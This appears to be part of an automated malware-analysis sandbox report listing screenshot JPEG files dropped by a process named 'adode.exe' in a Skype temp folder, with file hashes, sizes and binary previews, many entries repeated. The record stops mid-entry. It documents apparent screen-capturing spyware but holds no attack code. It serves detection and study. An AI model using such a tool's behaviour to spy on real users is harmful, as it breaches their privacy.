SHA-256:	F29EEA0B30D595DCEEAA8FAB558B0D97CB831ED157750E7ED73FC68F5B0CCB2B
SHA-512:	9226EF1484B8D779BE4BD5B1D41C513895D2ECA5D9855F459D531608AA5623B188E555569AEEF6E8EFDA49E3B7A9AE60F33B3E9F12108C8CB0EB9B349C9FCDAE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240618_141853.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144529
Entropy (8bit):	7.930354897497453
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoqmoSk:WpgzOCtbRJPBBcFJRXOMvoSk
MD5:	557B8BFD6CACB6145B6A9751B6389F2A
SHA1:	401E67832F707BA6BC86FCD3C4D101D53E7114FE
SHA-256:	F29EEA0B30D595DCEEAA8FAB558B0D97CB831ED157750E7ED73FC68F5B0CCB2B
SHA-512:	9226EF1484B8D779BE4BD5B1D41C513895D2ECA5D9855F459D531608AA5623B188E555569AEEF6E8EFDA49E3B7A9AE60F33B3E9F12108C8CB0EB9B349C9FCDAE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240619_015928.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	150617
Entropy (8bit):	7.928411995344703
Encrypted:	false
SSDEEP:	3072:c7WizOPhJ4L2lg1IBoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoqmoSk:c7rzOPhJ3lg1gtbRJPBBcFJRXOMvoSk
MD5:	A408B76FE0570871C44DC4A9F181111A
SHA1:	E26BB2EC41D54CD8F10D716DF3727A82018A9A39
SHA-256:	924255DE7770B67B47E8BAA70A0CDC29E4B30C925B48C98A4DFAE0A679022A9E
SHA-512:	F439B299C4E37B90ABBD5C07535C77804472D1791664CA6A0A6D09386BAB81DCFCFAB2DE97FC7DD70BD76EA7B132656CF6E3C4F96A062E5AAAA7CD74946466FB
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240621_230235.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144529
Entropy (8bit):	7.930354897497453
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoqmoSk:WpgzOCtbRJPBBcFJRXOMvoSk
MD5:	557B8BFD6CACB6145B6A9751B6389F2A
SHA1:	401E67832F707BA6BC86FCD3C4D101D53E7114FE
SHA-256:	F29EEA0B30D595DCEEAA8FAB558B0D97CB831ED157750E7ED73FC68F5B0CCB2B
SHA-512:	9226EF1484B8D779BE4BD5B1D41C513895D2ECA5D9855F459D531608AA5623B188E555569AEEF6E8EFDA49E3B7A9AE60F33B3E9F12108C8CB0EB9B349C9FCDAE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240622_020330.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144529
Entropy (8bit):	7.930354897497453
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoqmoSk:WpgzOCtbRJPBBcFJRXOMvoSk
MD5:	557B8BFD6CACB6145B6A9751B6389F2A
SHA1:	401E67832F707BA6BC86FCD3C4D101D53E7114FE
SHA-256:	F29EEA0B30D595DCEEAA8FAB558B0D97CB831ED157750E7ED73FC68F5B0CCB2B
SHA-512:	9226EF1484B8D779BE4BD5B1D41C513895D2ECA5D9855F459D531608AA5623B188E555569AEEF6E8EFDA49E3B7A9AE60F33B3E9F12108C8CB0EB9B349C9FCDAE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240622_092742.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144529
Entropy (8bit):	7.930354897497453
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoqmoSk:WpgzOCtbRJPBBcFJRXOMvoSk
MD5:	557B8BFD6CACB6145B6A9751B6389F2A
SHA1:	401E67832F707BA6BC86FCD3C4D101D53E7114FE
SHA-256:	F29EEA0B30D595DCEEAA8FAB558B0D97CB831ED157750E7ED73FC68F5B0CCB2B
SHA-512:	9226EF1484B8D779BE4BD5B1D41C513895D2ECA5D9855F459D531608AA5623B188E555569AEEF6E8EFDA49E3B7A9AE60F33B3E9F12108C8CB0EB9B349C9FCDAE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240622_195227.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144529
Entropy (8bit):	7.930354897497453
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoqmoSk:WpgzOCtbRJPBBcFJRXOMvoSk
MD5:	557B8BFD6CACB6145B6A9751B6389F2A
SHA1:	401E67832F707BA6BC86FCD3C4D101D53E7114FE
SHA-256:	F29EEA0B30D595DCEEAA8FAB558B0D97CB831ED157750E7ED73FC68F5B0CCB2B
SHA-512:	9226EF1484B8D779BE4BD5B1D41C513895D2ECA5D9855F459D531608AA5623B188E555569AEEF6E8EFDA49E3B7A9AE60F33B3E9F12108C8CB0EB9B349C9FCDAE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240623_030248.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144529
Entropy (8bit):	7.930354897497453
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoqmoSk:WpgzOCtbRJPBBcFJRXOMvoSk
MD5:	557B8BFD6CACB6145B6A9751B6389F2A
SHA1:	401E67832F707BA6BC86FCD3C4D101D53E7114FE
SHA-256:	F29EEA0B30D595DCEEAA8FAB558B0D97CB831ED157750E7ED73FC68F5B0CCB2B
SHA-512:	9226EF1484B8D779BE4BD5B1D41C513895D2ECA5D9855F459D531608AA5623B188E555569AEEF6E8EFDA49E3B7A9AE60F33B3E9F12108C8CB0EB9B349C9FCDAE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240623_084856.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144529
Entropy (8bit):	7.930354897497453
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoqmoSk:WpgzOCtbRJPBBcFJRXOMvoSk
MD5:	557B8BFD6CACB6145B6A9751B6389F2A
SHA1:	401E67832F707BA6BC86FCD3C4D101D53E7114FE
SHA-256:	F29EEA0B30D595DCEEAA8FAB558B0D97CB831ED157750E7ED73FC68F5B0CCB2B
SHA-512:	9226EF1484B8D779BE4BD5B1D41C513895D2ECA5D9855F459D531608AA5623B188E555569AEEF6E8EFDA49E3B7A9AE60F33B3E9F12108C8CB0EB9B349C9FCDAE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240623_151818.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144529
Entropy (8bit):	7.930354897497453
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoqmoSk:WpgzOCtbRJPBBcFJRXOMvoSk
MD5:	557B8BFD6CACB6145B6A9751B6389F2A
SHA1:	401E67832F707BA6BC86FCD3C4D101D53E7114FE
SHA-256:	F29EEA0B30D595DCEEAA8FAB558B0D97CB831ED157750E7ED73FC68F5B0CCB2B
SHA-512:	9226EF1484B8D779BE4BD5B1D41C513895D2ECA5D9855F459D531608AA5623B188E555569AEEF6E8EFDA49E3B7A9AE60F33B3E9F12108C8CB0EB9B349C9FCDAE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240623_204645.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144529
Entropy (8bit):	7.930354897497453
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoqmoSk:WpgzOCtbRJPBBcFJRXOMvoSk
MD5:	557B8BFD6CACB6145B6A9751B6389F2A
SHA1:	401E67832F707BA6BC86FCD3C4D101D53E7114FE
SHA-256:	F29EEA0B30D595DCEEAA8FAB558B0D97CB831ED157750E7ED73FC68F5B0CCB2B
SHA-512:	9226EF1484B8D779BE4BD5B1D41C513895D2ECA5D9855F459D531608AA5623B188E555569AEEF6E8EFDA49E3B7A9AE60F33B3E9F12108C8CB0EB9B349C9FCDAE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240624_023234.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144529
Entropy (8bit):	7.930354897497453
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoqmoSk:WpgzOCtbRJPBBcFJRXOMvoSk
MD5:	557B8BFD6CACB6145B6A9751B6389F2A
SHA1:	401E67832F707BA6BC86FCD3C4D101D53E7114FE
SHA-256:	F29EEA0B30D595DCEEAA8FAB558B0D97CB831ED157750E7ED73FC68F5B0CCB2B
SHA-512:	9226EF1484B8D779BE4BD5B1D41C513895D2ECA5D9855F459D531608AA5623B188E555569AEEF6E8EFDA49E3B7A9AE60F33B3E9F12108C8CB0EB9B349C9FCDAE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240624_065322.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	150617
Entropy (8bit):	7.928411995344703
Encrypted:	false
SSDEEP:	3072:c7WizOPhJ4L2lg1IBoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoqmoSk:c7rzOPhJ3lg1gtbRJPBBcFJRXOMvoSk
MD5:	A408B76FE0570871C44DC4A9F181111A
SHA1:	E26BB2EC41D54CD8F10D716DF3727A82018A9A39
SHA-256:	924255DE7770B67B47E8BAA70A0CDC29E4B30C925B48C98A4DFAE0A679022A9E
SHA-512:	F439B299C4E37B90ABBD5C07535C77804472D1791664CA6A0A6D09386BAB81DCFCFAB2DE97FC7DD70BD76EA7B132656CF6E3C4F96A062E5AAAA7CD74946466FB
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240624_094311.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	152824
Entropy (8bit):	7.924856317096302
Encrypted:	false
SSDEEP:	3072:Sil1XJ+TFruwZj65DvLhtgy9Iwj/V7HsUOFUyavFsYBF5:7HM9tZj6BvNuHwpLyaG2T
MD5:	1B503203744530DCA29991A7C7EF553F
SHA1:	B97C775BE32BAD9C01ED1E8BDCE74AABF8796680
SHA-256:	BF742FFB1536DD87D95A21E660B4D8C6C54A326F9DC30A56901823AA1394850D
SHA-512:	D04B58BFC66AB5CEE441EECF77B771605BF35C7762FE0675876BBBB2D1AEA5906D1918280883F0A3BC5D695BFBAD1A85E9859762436FADCFA654EE66A0A5F24A
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240624_163302.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144529
Entropy (8bit):	7.930354897497453
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoqmoSk:WpgzOCtbRJPBBcFJRXOMvoSk
MD5:	557B8BFD6CACB6145B6A9751B6389F2A
SHA1:	401E67832F707BA6BC86FCD3C4D101D53E7114FE
SHA-256:	F29EEA0B30D595DCEEAA8FAB558B0D97CB831ED157750E7ED73FC68F5B0CCB2B
SHA-512:	9226EF1484B8D779BE4BD5B1D41C513895D2ECA5D9855F459D531608AA5623B188E555569AEEF6E8EFDA49E3B7A9AE60F33B3E9F12108C8CB0EB9B349C9FCDAE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240624_214651.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144529
Entropy (8bit):	7.930354897497453
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoqmoSk:WpgzOCtbRJPBBcFJRXOMvoSk
MD5:	557B8BFD6CACB6145B6A9751B6389F2A
SHA1:	401E67832F707BA6BC86FCD3C4D101D53E7114FE
SHA-256:	F29EEA0B30D595DCEEAA8FAB558B0D97CB831ED157750E7ED73FC68F5B0CCB2B
SHA-512:	9226EF1484B8D779BE4BD5B1D41C513895D2ECA5D9855F459D531608AA5623B188E555569AEEF6E8EFDA49E3B7A9AE60F33B3E9F12108C8CB0EB9B349C9FCDAE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240625_051850.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144529
Entropy (8bit):	7.930354897497453
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoqmoSk:WpgzOCtbRJPBBcFJRXOMvoSk
MD5:	557B8BFD6CACB6145B6A9751B6389F2A
SHA1:	401E67832F707BA6BC86FCD3C4D101D53E7114FE
SHA-256:	F29EEA0B30D595DCEEAA8FAB558B0D97CB831ED157750E7ED73FC68F5B0CCB2B
SHA-512:	9226EF1484B8D779BE4BD5B1D41C513895D2ECA5D9855F459D531608AA5623B188E555569AEEF6E8EFDA49E3B7A9AE60F33B3E9F12108C8CB0EB9B349C9FCDAE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240625_110300.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144529
Entropy (8bit):	7.930354897497453
